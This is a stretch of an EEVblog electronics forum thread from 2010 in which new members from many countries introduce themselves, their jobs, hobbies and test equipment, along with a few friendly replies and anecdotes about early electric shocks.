I'm so long in the tooth that I remember as an apprentice working with and getting a 240V shock from the FRONT terminals of a Philips oscilloscope.  I cannot recall exactly what these terminals were for but it was a scope used in the instrumentation dept of the steelworks where I was then working.   It may have had something to do with platinum thermocouple junction testing.   All I can remember was fiddling around with it looking at Lissajous Figures then "bam!".  That was when I got my first electronics safety lesson ....when working with medium/high voltage keep one hand in your pocket!
Sounds like some idiot defeated the ground connection and the whole chassis was live, since there normally isn't anything high(ish)-voltage on the front panel.
Title: Re: New Member, Please introduce yourself
Post by: BC_minded on July 05, 2010, 01:10:46 pm
I'm Brian, a banker. Been in San Francisco for the whole 30 years. I work hard and I play hard. I'm glad to be here! :D
Title: Re: New Member, Please introduce yourself
Post by: thedigitalprincess on July 07, 2010, 09:20:09 am
Hi Guys,

I'm Peter, from Wollongong, Australia (about an hour south of Sydney). I'm an apprentice instrument fitter/calibration and electronics tech for an electricity company. I've always had an interest in Electronics, but I didn't get serious until the last two years of high school.

My main work tends to be in calibration checking instruments- usually small things like multimeters and high voltage detectors, but we also fault-find and repair these devices, plus some more complex ones, down to component level where possible.

I'm trying to get myself reasonably competent with microcontrollers so I can start applying them to our designs- We're sometimes asked design instruments for other staff in our company, and I'd like to increase the level of sophistication we build into these. I'm also pretty keen to work with SMD components, they're clearly where design and construction is going.

I'm hardly an expert in any of this though, so if I say something strange or downright wrong, please set me straight.
Thanks all, I'm looking forward to learning a lot you!
Peter

Wo0t! Another apprentice :)
What year level are you?
Title: Re: New Member, Please introduce yourself
Post by: McPete on July 08, 2010, 06:51:17 am
Wo0t! Another apprentice :)
What year level are you?

I'm a third year. It's really weird though- I'm one of three instrument fitter apprentices in 250, mostly electricians and linesmen. ...Each and every one of them think I'm mad for liking my office job in the cal lab :P

What year and industry are you in, if you don't mind my asking?
Title: Re: New Member, Please introduce yourself
Post by: thedigitalprincess on July 11, 2010, 03:54:15 pm
Wo0t! Another apprentice :)
What year level are you?

I'm a third year. It's really weird though- I'm one of three instrument fitter apprentices in 250, mostly electricians and linesmen. ...Each and every one of them think I'm mad for liking my office job in the cal lab :P

What year and industry are you in, if you don't mind my asking?

One of the guys in my class is a cal tech. The rest are mostly security.
I'm a first year in avionics (more on the side of inflight entertainment systems), it's a fun job :)
Title: Re: New Member, Please introduce yourself
Post by: 363616 on July 13, 2010, 10:58:59 am
Hi.  I'm from the northwest US and occasionally diddle with electronics as a hobby.
Title: Re: New Member, Please introduce yourself
Post by: Ronnie on July 15, 2010, 12:40:08 pm
  Hi! I'm Ronnie from the Philippines an electronics engineer working for a semiconductor company that manufacture analog and mixed signal ICs. My interest is audio amplifier and have a small sound reinforcement system for rent during the weekend.
  I found EEVblog at Tequipment on the video review of Rigol's scope by Dave since I'm in the process of searching for my 1st personal scope  : P
Title: Re: New Member, Please introduce yourself
Post by: tapeworm on July 15, 2010, 09:04:12 pm
Hey there I'm from the US, and I found this forum through the EEVBlog on youtube. I am first and foremost a learning hobbyist, but I am an EE major at the University, but still have not taken any circuit analysis/electrical engineering courses. I have taken physics (electromagnetism) and have a decent understanding of the physics behind the the hardware.  ;D
Title: Re: New Member, Please introduce yourself
Post by: hitachi8 on July 19, 2010, 03:43:45 am
Hello ,
i live in Canada ( for the moment ) , i am a hobbyist/computer guy .
i love to make Some weird and surprising DIY project .
Title: Re: New Member, Please introduce yourself
Post by: jstarship on July 19, 2010, 03:23:48 pm
Hello! New member here from Miami, FL. Hope I'm welcome here! :)
Title: Re: New Member, Please introduce yourself
Post by: AsciiSimon on July 19, 2010, 05:18:20 pm
Hi, I'm Simon from NZ. I am a software person professionally. An ex-developer (I got better!) and now in QA and testing. I am a long time electronics tinkerer however and I usually have some mad projects on the go. I joined because I wanted to ask about my multimeter - a Fluke 19. I couldn't find any reviews online for it and the Fluke sites don't mention it. I saw mutterings about this being a disastrous model and was wondering why then I found the question was already answered by Dave here.

Can someone tell me exactly how they did fail? What was the symptom or symptoms? Mine still seems to work even though it is over 10 years old now (bought new from Dick Smith) but now I feel I can't really trust it. Perhaps I should send it to Dave for some, errr, testing!

Thanks!

Simon
Title: Re: New Member, Please introduce yourself
Post by: ThunderSqueak on July 19, 2010, 05:43:13 pm
Hi, I'm Simon from NZ. I am a software person professionally. An ex-developer (I got better!) and now in QA and testing. I am a long time electronics tinkerer however and I usually have some mad projects on the go. I joined because I wanted to ask about my multimeter - a Fluke 19. I couldn't find any reviews online for it and the Fluke sites don't mention it. I saw mutterings about this being a disastrous model and was wondering why then I found the question was already answered by Dave here.

Can someone tell me exactly how they did fail? What was the symptom or symptoms? Mine still seems to work even though it is over 10 years old now (bought new from Dick Smith) but now I feel I can't really trust it. Perhaps I should send it to Dave for some, errr, testing!

Thanks!

Simon

So, it hasn't failed in 10 years? You could check it against another known good meter (or 2) to see if it has drifted far out of spec.  Anyway... welcome to the forum :)
Title: Re: New Member, Please introduce yourself
Post by: MrPlacid on July 19, 2010, 05:56:38 pm
Perhaps I should send it to Dave for some, errr, testing!
Thanks!
Simon

Nahhh, do it like Dave sell it on ebay and take the money and buy a more trusting meter.
Title: Re: New Member, Please introduce yourself
Post by: longview on July 20, 2010, 05:40:08 am
Hello, my name is Robin, from Norway.

I will be starting my first year of EE this fall, having completed my certificate of apprenticeship in general electronics repair last month (without actually interning, we have a special system where we can do the exam right out of high-school).

I found this blog while looking for interesting hardware hacks.

I like to experiment with electronics, hopefully I'll have access to PCB drilling and etching equipment once I start college, as well as better microcontroller programming systems for doing more complex tasks. I like to collect old test equipment, my favorite instruments I use regularly include the HP 1740a oscilloscope (100 MHz dual channel) and a HP 427a voltmeter (1 MHz averaging AC voltmeter).
Title: Re: New Member, Please introduce yourself
Post by: electricalengineering on July 21, 2010, 12:16:28 am
Hi @all,

i am frank form good old Germany :-)

I stumbled here cause I searched new ways of getting informations about SMPS, I found EEVblog at youtube.

I work in a R&D Dept. in the Hardware Engineering Group.
I made an apprenticeship as an electronic technician.

I often feel like electrical engineering is a dead-end  job, isn't it`?
My problem is, I am not good enough by half as a programmer, but programming getting more and more important in every newer development.

What is your prediction for the future of electrical engineering.
Will be most of the jobs transferred to china or india, etc?

greetz,
frank
Title: Re: New Member, Please introduce yourself
Post by: MrPlacid on July 21, 2010, 01:03:04 pm
i am frank form good old Germany :-)
...
What is your prediction for the future of electrical engineering.
Will be most of the jobs transferred to china or india, etc?

greetz,
frank

Greeting franks,

My prediction is that most electronic engineering jobs as well as programming will go to china and india. However, the good news is that electronics relating to the medical field won't. I don't think anyone want a pacemaker with "MADE IN CHINA" stamped on it.

Also since you are from Germany, that is another good news. The only reason why germany is more successful than most other european countries is that you guys are known to make high quality goods. Because of that most companies when deciding which equipments to use and they see "Made in Germany", they'll probably use that one. Because of that you'll keep churning out more quality goods.

Title: Re: New Member, Please introduce yourself
Post by: electricalengineering on July 21, 2010, 04:42:28 pm

Because of that you'll keep churning out more quality goods.
[/quote]

"churning"
Do you mean trickery, don't you?

But I think your right, most electronic components in industrial, consumer, machine constitution products come from china.
And software components are from india and others.

It's like lego engineering. Buy components form all over the world and build it together to a working machine.
But i think in the old days we bought ICs form the US and build it together, nowdays it's more comprehensive.

You think only medical will keep in our hands?,
that's not good, many many jobs get lost.

What's about information technology, is this better for job secure, isn't it?
Title: Re: New Member, Please introduce yourself
Post by: MrPlacid on July 21, 2010, 05:36:52 pm
"churning"
Do you mean trickery, don't you?

No, I didn't meant trickery. Produce instead.

Yeah, many many jobs will get lost until machines get so good that it's cheaper to use machines than cheap labor. Then we all will be out of a job. At that point we're probably won't be around.

The world is changing fast... I remember the good old days people walk around with pager ::)
Title: Re: New Member, Please introduce yourself
Post by: jwright on July 21, 2010, 08:07:10 pm
Hello, my name is Kalle and I'm an EE student from Finland with quite a lot of electronics experience prior to starting university. I'm generally interested in all things electronic (including computer stuff, programming etc.). Done some stuff with microcontrollers etc. and I've been especially interested in high voltage/current stuff (but not limited to) which includes tesla coils, other kind of high voltage supplies and induction heaters etc. I'm a pretty typical engineer-kind-of-guy who has lot of project ideas and designs but rarely gets anything finished, I just tend to lose my interest in project after some time (I've noticed this is very common in engineerish -type people). Currently I've been redesigning my induction heater:

(http://www.dgkelectronics.com/storage/electronics/induction_heater/new_design/sw/igbt_bridge4_resize_400x.png) (http://www.dgkelectronics.com/storage/electronics/induction_heater/new_design/sw/igbt_bridge4_resize_1024x.png)

Here is my website: http://www.dgkelectronics.com/ (haven't bothered to add that much stuff there yet) but you can find all kinds of pictures and stuff of my projects in: http://www.dgkelectronics.com/storage/electronics/

Now excuse me but I have to go and study for tomorrows circuit analysis exam... :-X

Wow... very impressive!  ;D
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Post by: Bonker on July 23, 2010, 01:43:52 am
Hi I'm Morgan. I'm in my last year of a BEET degree and just getting started on a two-term, team project. I'm mostly interested in the Space Race or: how I learned to make things do stuff millions of miles from here. In my spare time I tinker with guitar electronics, including amps and effects, and that's what led me to seek an electronics education, that and the tedium of 15 years of software development had taken it's toll.

Thanks so much for the video blog! It led me here and I'm certain I will learn a lot on the site as well.
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Post by: ChrisGammell on July 27, 2010, 11:12:12 pm
My name is Chris Gammell.

By day, I work on electrometers, digital multimeters, source meters and picoammeters (DC test equipment).

By night I write at my site, http://chrisgammell.com (http://chrisgammell.com). I focus on analog and often stray into the weeds of engineering topics such as learning.

I found Dave's site the same way that many others did. I got to know Dave a little while trying to interview him but he's pretty busy over here with EEVblog. I'll excuse him because it's great to see what a wonderful community he has on these forums. I'm truly impressed with the diverse talent of the audience here and am even more excited by the wide areas of the world people hail from. I've lamented in the past of not being able to find electronics-centric people online...but it seems like here it is!

Look forward to participating and/or watching the conversation move along.
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Post by: Ronnie on July 28, 2010, 06:00:26 pm
Quote
My name is Chris Gammell.

By day, I work on electrometers, digital multimeters, source meters and picoammeters (DC test equipment).

Hello Chris,
  From your Resume at your site looks like you are designing electrometers? Since 1995 to present I’ve been working for Analog Devices in the Philippines as a test manufacturing engineer and we are using Keithley 610C (designed in 1969) electrometer to measure operational amplifier input bias/leakage current with 40 femtoampere typical value like the one on this link http://www.analog.com/static/imported-files/data_sheets/AD549.pdf (http://www.analog.com/static/imported-files/data_sheets/AD549.pdf). When it comes to measuring very low level current nothing compares to electrometers manufactured by Keithley Instruments  8)
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Post by: ChrisGammell on July 28, 2010, 09:14:01 pm
@Ronnie, while I don't usually talk about my day job too much online, that's pretty awesome. The 610C is waaaaay before my time, but that's amazing it's still around and working. I use Analog Device products quite often and I really love the specs on many of your parts.
Title: Re: New Member, Please introduce yourself
Post by: TopherTheME on July 30, 2010, 06:24:52 am
Hello, my name Kris, I'm a mechanical engineering PhD student from Michigan (USA). I stumbled upon this place looking for multimeter reviews online and decided to check out the some of the other blogs and the forum. So far, I really like it.

I've only taken one EE course in my entire life (and learned nothing from it) but I've learned and done some electronics design for work and for hobby. I also have a habit of designing and building my own instrumentation for research projects at school.

Most of my electronics experience originated in controls and robotics but lately I've been doing a lot of precision analog design. I'm currently trying to get more familiar with the PIC32 so I can use it for some DSP applications.
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Post by: seanmatthew22 on July 31, 2010, 02:58:10 am
Hey,

I'm Sean from Ontario Canada. I'm going into grade 11 next year, electronics have been a hobby of mine since my 200 in 1 kit form radio shack. Now im on a first robotics team making all kinds of things. Right now i just have a sweep function generator, a logic analyzer, a oscilloscope, and a variable power supply. Though im hoping to get newer equipment as i get a job.  :P
Title: Re: New Member, Please introduce yourself
Post by: avrfreaks on July 31, 2010, 03:49:48 am
I am Brian from Boise, Idaho.

I do a-lot of tinkering with electronics and own a share of the Maker Shed; write publications, Make Magazine. I also do Arduino + Robotics + Networking....

HP + Micron + Qwest + Datatel (ISP + Internet) are our number one electronics......
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Post by: rpark1231 on July 31, 2010, 12:19:45 pm
Hi everyone,

I'm a student in the San Diego, California area. I currently attend a local community college and will be transferring to a university. I would like to major in Computer Engineering or a comparable program (i.e. EECS). UCSD has accepted my transfer application for the fall 2011 semester. I'm thirty years old, definitely not a traditional college student and if you told me a few years ago that I would be doing well in college and accepted to a university I probably would have laughed at you. I'm pretty much just stoked to have found something that I have a real interest in.
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Post by: MrPlacid on July 31, 2010, 12:58:11 pm
Hi everyone,

I'm a student in the San Diego, California area. I currently attend a local community college and will be transferring to a university. I would like to major in Computer Engineering or a comparable program (i.e. EECS). UCSD has accepted my transfer application for the fall 2011 semester. I'm thirty years old, definitely not a traditional college student and if you told me a few years ago that I would be doing well in college and accepted to a university I probably would have laughed at you. I'm pretty much just stoked to have found something that I have a real interest in.

rpark1231,

You're the kinda of student I cheer for, over 30 and found your true calling.
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Post by: baljemmett on August 02, 2010, 05:14:44 am
Figured it's probably about time I 'introduced' myself, having been reading the forum for a little while and chipping in occasionally...

I'm a software developer by trade, but had been mulling over getting back into electronics for a few years (having not done much since I was a young'un!).  Buying a house last year provided a great opportunity to do so -- I had a few itches to scratch when I set up the kitchen as a second zone on the living room hi-fi stack, so built an IR repeater and PIC-based remote control.  Having got those working and then stumbling over the EEVblog, the bug bit properly and now I've got all sorts of daft plans; the trick will be not to run before I get walking properly, of course.

Oh, and some of you may have bumped into me on the ustream chat, where I can be found occasionally boring people with my witterings.  I show up over there as microwavepizza, so hi to anybody who does recognise me :)
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Post by: smpowell on August 02, 2010, 08:02:46 am
Hi, my name is Stephen. Every ten years or so I dabble in electronics as a hobby, this would be my third time around.....

Back in the 70's I had took one 500 level electronics course as part of a metallurgical engineering degree. All I recall is a bunch of weird calculations involving imaginary numbers. Got to play with oscilloscopes in the lab though.

A couple of years later I was an induction hardening (heat treating) engineer; too bad they didn't cover anything remotely related to that in the course.

I built a lot of Heathkits back in the 1980's, I even still have one.

Back in the late 1990's I dabbled quite a bit, you can even read about it at http://octopus.freeyellow.com/ , the home of the "99 cent ESR tester".

Now I'm dabbling again....
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Post by: scrat on August 02, 2010, 10:37:14 am
Hi everyone, I'm Sandro from Italy (but don't think about pizza-mafia-mandolino, this is the North, near the Alps ;) )
I apologize for making a number of posts before introducing myself.

At the moment I'm a PhD student (in a little university near home), and I work on Electrical Drives (especially on the control side).
Even if this is an electrical subject, I'm actually an electronic engineer, and I'm interested in all electronics. Unfortunately, time for taking it as an hobby is not so much...

I really like this forum, it's a stimulus for me. I'm really interested in how people work over the world, since my experiences do not include electronics industry, which I see is much more complicated than simply electronic design.
I hope this place will be good for sharing of ideas and knowledge... and, why not, to have some fun.

Title: Re: New Member, Please introduce yourself
Post by: Joy at MCS on August 06, 2010, 11:30:30 pm
 I'm Joy .  I got involved in Electronics about 8 years ago while living in Orlando Florida.  I've moved to the UK a few years ago and am adjusting to all the rain here.    Where's the sun and palm trees?  :)

I've actually been considering going back to University for Design Electronics, but I think I'd probably need to speak to more people who do this for a living to find out what it's really like to be a Design Engineer.  I like the idea of putting a design together for something  and then working with a team to bring to reality ,but I'm sure there's probably much more to the job than that. .... Okay I'll stop babbling now :-)

 I really like this forum and the people on it. Everyone is very friendly and knowledgeable.

Title: Re: New Member, Please introduce yourself
Post by: Wayneo on August 07, 2010, 11:13:29 am
Hello Everybody!
My name is Wayne, Im 28 soon, I live in a small town in Wales, UK.
I have been interested in Electronics from a young age, I have learnt from family members, My uncle was an electronics engineer in the RAF, my other uncle has worked as an electronics tech in the local university for most of his life. Alot of it has been self tought from books and hands on experience.

After I left school I went and worked in a local electronics repair shop where I learnt even more interesting things, at the same time I spent 1 week of every month on a 3 year training course at the MOD, Aberporth  (More Electronics)  :)

After I worked there I decided to move on to computers and monitor repairs and all the software side of computers which I found quite boaring until later on in life!

Finally I have a house with my partner & 2 1/2 yr old son, where I have my own electronics workshop/lab, It may be small but It does me fine, everything has its place and is easily accessable, & when the missus is on one I have a place to escape!!  ;D

You guys on here are great! and im so glad to see so many people like me here! and i'd just like to say thanks to Dave and his fantastic vids and motivation!
Wayneo
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Post by: lamja on August 08, 2010, 05:57:44 am
Hi.

My name is Arvid. I live in norway, and I'm 39 years old.
I just changed my profile name from pilleyuppo23(too strange) to lamja (Just got wordpress up and running on my site www.lamja.com  ;D)
I work with telephone PABXs, mostly configurating and installing software. I have an electronics engineer degree from school.
The last couple of years I redescovered the joy of electronics. Before I always was a software/PC freak. (I still am maybe)
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Post by: Sam on August 10, 2010, 07:07:38 am
Hi

Thought it about time I signed up and introduced myself. I live and work in the UK, for a small company carrying out Vibration and Temperature tests (ie shake stuff and bake/freeze stuff) on many different products. I did an apprenticeship through the company and got an HNC in electronics. However we don't do much electronics (I was given a choice between electronics or mechanical), it's more mechanical based, but the electronics is very handy when calibrating or repairing stuff. However the company are sponsoring me to go to uni part time to do a Beng in Mechanical Engineering. So hopefully I will end up multi-disciplined ::)

Any way enough of the boring stuff. Like most here I also have an interest in electronics especially the micro and also PC interfacing side of things. I don't get much free time for projects. However I have built a object avoiding robot which I hope to modify and make more interesting. I'm a great fan of the Arduino and think it's a great device for quick and easy prototyping.

Also enjoy the shows.

Sam
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Post by: kaptain_zero on August 12, 2010, 02:10:54 pm
Hi, my name is Christian and I'm hopelessly addicted to anything interesting.... <sigh>.

I like computers, straight razors and traditional wet shaving, machining, LED flashlights, motorcycles, leather work, electronics, ham radio........ urgle...... do I need to go on?!?!

I found the EEVBlog videos by accident, watched a few and decided that this was an excellent way of "getting up to speed" on some topics that interest me.

Regards

Christian

aka

Kaptain " I usually just connect + to - and run everything else to ground" Zero
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Post by: Steven8098 on August 12, 2010, 05:37:59 pm
Hello Everyone I am totally new here.
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Post by: christopher77 on August 15, 2010, 03:11:06 am
Hi,
I am christopher, form UK newbie in this forum
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Post by: ThunderSqueak on August 15, 2010, 04:59:46 pm
Welcome new people :D   
Title: Re: New Member, Please introduce yourself
Post by: Napalm on August 21, 2010, 10:38:04 am
Hi Everyone,
I've been following Dave's brilliant video's on YouTube for quite sometime and signed up to the forum a while back. Never really got around to posting.. so here's my first post. I'm from London, UK.

I'm a software guy have been for quite sometime. I worked on a operating system and a few other low level things and started going further down into Firmware and so on.. PICs.. kits, projects, and the like. I've really found I like electronics.. I have learned a lot recently and I love learning new things.

Over the past couple of years in my spare time of playing with electronics's I only feel I've scratched the surface. I've slowly built up my workbench. I now have a Oscilloscope, a couple of half-decent Multimeter's (Thanks to your advice in your video's), bench power supply and Temperature controlled soldering iron, Grounding point, Vise, and lots of drawers of component's.

I've not etched my own boards (yet!), so far I've been using breadboards and then transferring those to strip-board once I'm happy. I've found myself removing reusable components from consumer electronics that I would (not too long ago) throw away.

Just purchased a new book: Electronics Explained by Louis E. Frenzel, Jr. (http://www.foyles.co.uk/display.asp?K=9781856177009)
So far a good read. He explains things quite well, using the "average joe" perspective rather than complex engineering equations which have my head spinning. Wouldn't it be so great if those equations on Wikipedia and the like had a "C/C++" version. I would be able to understand that perfectly.

I guess that explains where I'm currently at. Always learning something new. Keep up the good work Dave!  :D

Napalm
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Post by: LumpyGravy on August 23, 2010, 05:49:23 am
Hello everyone. Yet another EE here, in the UK. Design geophysical instrumentation for oil/gas industry by day, watch the EEVblog by night and thought it was about time I signed up and said hello. So, hello!
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Post by: Avionics_Guy on August 25, 2010, 10:39:52 am
Hello everybody! Dave Evans here. I'm happy to be a part of the blog. I ran across EE Dave's blog on youtube while surfing around
and thought it was very good and informative, so i ended up at his site and watched most of his video blogs and thought i might
sign up on the forum. For myself, i grew up similar to Dave back in the day. I was born in 1967 and my father was in Avionics out
at the now disfunc NAVY base here in Beeville Tx. I grew up watching Star Trek, Lost in Space, Space 1999 and such, and loved
the sound FX and blinky lights and so fourth plus my father would bring home parts and components for me to play with.
At about 6 years old i got my first analog multimeter kit and a crystal radio kit for my birthday, along with a dozen star trek models
and toys. The next few years yielded me the radio shack 50 in one project lab, then the 150 in one, then 300 in one, and some
other things. I really did not have any money to buy anything of value so i went venturing out on my Bike looking for stuff.
People would throw away radios, tv's and other stuff, i would allways drop by the TV shops, they would always toss out good stuff.
Anyways, i started picking up portable tv sets and taking them home and tinker with them, ask my dad questions, buy some electronic
books and getting a hold of a books like the TTL Master IC Cookbook and so fourth. Long story short, tought myself how to repair
Tv's, Vcr's, Camcorders, Etc. Only in the last 3-4 years have i got into Logic circuits, micro-controllers, etc. So looking
forward to chatting with all of you.

Dave
Title: Re: New Member, Please introduce yourself
Post by: AwesomeEcho on August 31, 2010, 09:17:14 am
Hi everyone! I'm a EE graduate student researching antennas and microwave/RF design, mainly antenna design.  I saw this website at a friends, and I've been interested ever since!  I've built projects for my undergraduate degree (in EE), but I'm looking forward to building side projects for fun. It's a lot different when you choose to build something!  :)   
Title: Re: New Member, Please introduce yourself
Post by: dics on September 01, 2010, 10:31:46 pm
Hello everyone, i am dics from Romania.
I come from a software development background with more than 18 years experience and i recently (since 2005) got involved into hobby electronics.
I own a website which was partially made because of Dave's video blog and partially because there is nothing like this available in my native language. I have videos recorded during work with camstudio and with my camera also (camera doesn't love me as much as it loves Dave though :) )
Looking forward to meet new people here and chat about electronics

dics
http://dics.voicecontrol.ro/
Title: Re: New Member, Please introduce yourself
Post by: red_kooga on September 04, 2010, 08:25:01 pm
Hi everyone,

I am richard from england, i love tech, enjoy everything electronic from my first project a VHF air band radio with a 6c4 valve back in the early 70's to a pic microcontroller with everything today.
Title: Re: New Member, Please introduce yourself
Post by: Vexer on September 05, 2010, 04:08:57 am
Hey guys,

I live in Mississippi(USA), and have been watching Dave's blog for about a year(on and off). I am probably Dave's youngest viewer(turning 13 next month).

I enjoy anything electronics related, from computer hardware to capacitors and resistors. Currently, my project is an LED Matrix(Bi-color) video game system based off of an AVR Microcontroller(programmed in C). Unfortunately, I don't have much of an electronics lab right now, though I hope to get an oscilloscope for Christmas.
Title: Re: New Member, Please introduce yourself
Post by: FLUKE179 on September 05, 2010, 07:55:54 am
Hi I'm Ronald I live in derbyshire in the uk I'm in to all sorts of bits I work as a mobility engineer on power wheelchair's so I get to play around with all the 12v gizmo's all day I am working on a tesla coil at the moment from the ground up hope to have some pics of it soon.
Title: Re: New Member, Please introduce yourself
Post by: nyo on September 06, 2010, 02:15:38 am
Hello all,

I'm an electro-mechanical technician and I think Dave's blog rocks, lot's of info. When I first started watching, I didn't quite understand lots of things he was talking about, but as I learn I can go back to the older blogs and I now understand what is going on. I specifically like when Dave opens or tries limitations of devices that I can't afford to mess with.
Title: Re: New Member, Please introduce yourself
Post by: AvrFan65 on September 07, 2010, 08:34:29 am
Hi,
I'm Jan, living way up north in Norway. Have been into electronics since early 80's.
working as a technican, but also doing some computer programming.
Just found this blog a few days ago and think it's very interesting,
have had a lot of fun looking through the episoedes.

Jan
Title: Re: New Member, Please introduce yourself
Post by: quantumfall on September 10, 2010, 07:29:45 am
Hi all good to post here I'm from the south of England, slightly older guy who has had a Tandy kit in a wooden box and other things and still playing. Only a novice but with some pro work on old PC systems years ago.
Title: Re: New Member, Please introduce yourself
Post by: Nermash on September 14, 2010, 05:04:02 pm
Hi to everybody, greetings from Bosnia and Herzegovina showered in pissing rain this morning :)
I first got interested in electronics way back in the begining of 90's as a teenager. I even went to some competition in my school's team, very basic stuff, variable psu and so on...

I am now involved professionaly with cable TV equipment and brodcast equipment, and in the final year of getting my long overdue engineering degree(IT) :)
Title: Re: New Member, Please introduce yourself
Post by: Raff on September 14, 2010, 06:31:11 pm
Hi Guys and Gals,

 I am Raff. short for Raffaele, I live on the Gold Coast, Queensland, Australia.  I am a retired electronics technician who worked for a large telecommunications company for many years doing everything from telephone installs and maintenance to payphones, to telegraphy and data networks. I have also been involved with computers for many years, ever since I fist spied a TRS80 at the local Tandy store! Well I guess I'm giving away my age a bit here.. I repaired, built and sold many computer systems from humble home PC's to heavy duty multi processor server systems.

I am now retired due to ill health, but try and tinker with my electronic toys whenever I can, I have everything from home made jukeboxes to pinball machines in my shed to play with.

I stumbled upon Dave's wonderfull video blog after I was offered a Rigol oscilloscope used and wanted to find out more about it. It's a DS5202CA which I gather is an older one, but it suits me just fine. It's going to compliment my aged old BWD 35Mhz analogue storage 'scope.

Love the blog, and love the forums!
Title: Re: New Member, Please introduce yourself
Post by: adept on September 18, 2010, 12:07:56 pm
Hello EEVBlog,

I love the show! Just decided today to join the actual forum and everything. Been a fan for almost a year now! My buddy (also a big nerd like me) recommended the show to me. It's really entertaining to watch! I'm "a budding young lad in high school", as my grandpa would put it. Electronics describes my life. That and music. I play trumpet for the band. My first computer was a Tandy my dad bought in college. I'm a calculator hacker, who makes do with the hardware of nothing. Junk bins are a good place to look to find me. People throw out things that are absolutely useful. Cemetech is my second home. I'm close with all of those bloggers. Kerm Martian is the best webmaster ever. Everything is custom, and he's always there to help. Lots of contests, hacks, entertainment, etc. there. EEVBlog is the place I look when I have a question about design. Dave is the most entertaining lecturer ever. Although some of his shows are long (30 minutes or more), I'm not bored, but enticed, and sit through it all. That's my life in electronics.
Title: Re: New Member, Please introduce yourself
Post by: Lance on September 20, 2010, 09:40:30 am
Hello from West Canada! I tried joining the forum earlier but was having issues with it. Seems to be working now, so I signed up! I'm finishing up first year engineering and hopefully will transfer to electrical engineering next year.
Title: Re: New Member, Please introduce yourself
Post by: Jochem on September 20, 2010, 11:13:13 pm
Hi all,

I'm a total amateur from the netherlands, found Dave's blog through makezine (I think), and decided to join.

So far, I've been messing around with some simple microcontroller stuff, and a little bit of discrete component electronics. I used to solder together some kits when I was a kid, and was really interested in it, but never got much further due to a lack of Internets. Recently, I've been rekindling my interest.
Title: Re: New Member, Please introduce yourself
Post by: pdunz on September 23, 2010, 10:44:41 am
Hello everyone from New Zealand.

Well what to say.  I started when I was hmmm around 13 (Im now 29) but that was put on the back bench for the last few years but after building a kit a few weeks ago it got me interested again, and then looking around youtube and seeing the videos - it got me even more interested.  

I used to just buy kits from the store and build them without actually knowing or learning how the components interact with each other (I also made a few PCB's so I know how to do those too) - but now Im taking my time studying schematics, looking up datasheets for the various components (mainly transistors & IC's) and learning what they can do and what they are for in a circuit.  I am now in the designing stages of a project that I wanted to do for a while now.  After that is all done and working, I may delve into Microcontrollers because I have an idea with that as well.


Other than that, I am also a trade mechanic and certified in I.T.

Anyway thats me.

Title: Re: New Member, Please introduce yourself
Post by: ceut on September 27, 2010, 06:16:10 am
Hello  :D
I'm interested in electronics for many years as a passion/hobby(since I was young). Actually I would like to buy a DSO and I have seen many informations in this forum so I give it a try  ;)
Sorry if there's some mistakes, english isn't my native langage (I'm a grench guy  :D )
Title: Re: New Member, Please introduce yourself
Post by: im_a_human on September 28, 2010, 01:16:20 am
Hello!  :D My name is Nick, im from Sussex in the UK. I work as a technician at a college maintaining and repairing audio equipment in a music department. I have been into electronics hobby for about 25 years. Im interested in homemade computers, programming, micro controllers, audio and making music. I enjoy Dave's video blogs a lot and look forward to being part of the community.
Title: Re: New Member, Please introduce yourself
Post by: Psi on September 28, 2010, 07:51:28 pm
Hi, my name is Ben.

I'm 29 and live in Auckland, New Zealand.

I'm Really enjoying the blog episodes.
I've been doing hobby electronics since i was 8.
I have a degree in both computer systems and electrotechnology from UNITEC new zealand.
I've done a few little module design projects for industrial remote control systems. RS232 signal analysis and signal generation. I've also done windows programming in delphi and developed business software for tracking payroll scheduling.

I've done hobby projects such as RGBW LED room lighting, a car computer and am currently working on power monitoring and communication using a method adapted from UPB (universal powerline bus)
while i look for fulltime work.
Title: Re: New Member, Please introduce yourself
Post by: JJHamster on September 29, 2010, 10:24:18 pm
Hi,
Found this blog as a result of the kindle review link Dave posted at the mobileread.com forum.
I’m a research scientist based in the UK who’s dabbled with electronics for many years.
First interest in electricity was, as a kid, being blown across the school swimming pool changing room after touching a faulty light switch. Sadly in those days rather than getting counselling and suing for compensation I just got told off. Moved on to Philips Electronic kits and was soon getting regular shocks investigating microphonic EF86 valves in my old Vox AC10 guitar amp.
Nowadays most of my electronics projects are PC builds and simple repairs (power it up - then hit/poke things ‘till you find the dry solder joint).
Anyway love the blog banter and the forum atmosphere.
Title: Re: New Member, Please introduce yourself
Post by: Gearbreaker on October 02, 2010, 05:18:24 am
Hi all....  Chris Collins here.... Connecticut in the USA.  Started when tubes (Yes, the things with lights inside because electrons are afraid to jump in the dark) and moved my up as time went on.  Learned discreet transistor design and then TTL and then Analog LM series.  Now learning embedded C so that I can catch up with the rest of the world.  It's been a long road but I'm not senile yet!  As I always say.... Patience is a virgin.   
Title: Re: New Member, Please introduce yourself
Post by: osmosis321 on October 03, 2010, 03:42:11 am
Greetings all from Victoria, BC Canada.

I'm a tech school dropout who's delved into just about everything electrical.  I am slowly and steadily modifying my environment, so that I may one day realize my ultimate goal -- to live inside a computer.
Title: Re: New Member, Please introduce yourself
Post by: Time on October 03, 2010, 11:25:13 am
Greetings all from Victoria, BC Canada.

I'm a tech school dropout who's delved into just about everything electrical.  I am slowly and steadily modifying my environment, so that I may one day realize my ultimate goal -- to live inside a computer.

haha funny
Title: Re: New Member, Please introduce yourself
Post by: Mechatrommer on October 03, 2010, 12:23:34 pm
I'm a tech school dropout who's delved into just about everything electrical.  I am slowly and steadily modifying my environment, so that I may one day realize my ultimate goal -- to live inside a computer.
another reverse osmosis idea :D where scientists and engineers are currently trying to do the other way around.
Title: Re: New Member, Please introduce yourself
Post by: Zap on October 03, 2010, 09:49:25 pm
Hi all, long time viewer but only just signed up to the forum.

I am in Melbourne Australia, as a student about to complete my Eng. degree in electronics

I wait each week for the video blog and drool over the equipment Dave gets to test and "blow up". I find the tuts the most benefit - love them!

cheers
Title: Re: New Member, Please introduce yourself
Post by: bound on October 04, 2010, 11:51:50 pm
Hi , greetings from Poland
Title: Re: New Member, Please introduce yourself
Post by: zarthcode on October 05, 2010, 10:10:40 am
Hello,

My name is Anthony, an engineer in Tulsa, OK.  I've been monitoring this forum for quite awhile, and enjoy the content!
Title: Re: New Member, Please introduce yourself
Post by: hempel on October 05, 2010, 09:52:49 pm
Hi,

